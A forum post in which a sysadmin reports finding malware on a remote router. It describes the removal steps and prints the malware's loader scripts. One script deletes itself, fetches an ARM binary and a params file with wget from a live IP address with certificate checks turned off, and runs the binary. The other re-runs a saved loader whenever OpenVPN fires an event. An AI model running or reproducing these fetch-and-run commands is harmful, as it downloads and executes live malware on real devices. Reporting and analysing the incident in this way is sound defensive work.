It was a two-step loader to load ARM-compatible ELF (I have a copy if you need, yet it is "all green" on visurtotal.com) loaded from somewhere in Thailand. I would assume myself an experienced sysadmin and so far seen such malware side-loaded through web UI vulnerabilities, eg. last year there were multiple critical CVEs for Atlassian apps which I'm working with and many users got bitcoin mines in unpatched apps. I didn't see much activity of that and probably should enable syslog export to another host in the network to see if such happen again.
To remove it, it was sufficient to remove its loader script from /jffs and restart router. Also, just in case I've changed all password and reset certs for OpenVPN. Unfortunately this is remote device and I can't flash it at the moment.
The loader script is below, links are still live so you can get a binary (as.armv5te) and its params file (/.update7.log). The script was installed as
/jffs/chkupdate.sh
Bash:
#!/bin/sh
rm $0
cd /tmp
wget --no-check-certificate https://122.155.219.8/as/as.armv5te -O /tmp/update
wget --no-check-certificate https://122.155.219.8/308/.update7.log -O /tmp/.update.log
chmod 777 /tmp/update
/tmp/update &
Also I found
/jffs/scripts/openvpn-event
, the content below but I didn't save
/jffs/runtime.log
, AFAIR it was the same loader to load another shell such as the one above. I believe the malware was launched every time OpenVPN activated (openvpn-event?) thus it could be through OpenVPN CVE. I've OpenVPN server with the static TLS key.
Bash:
#!/bin/sh
cd /tmp
cp /jffs/runtime.log upgrade.sh
sh upgrade.sh &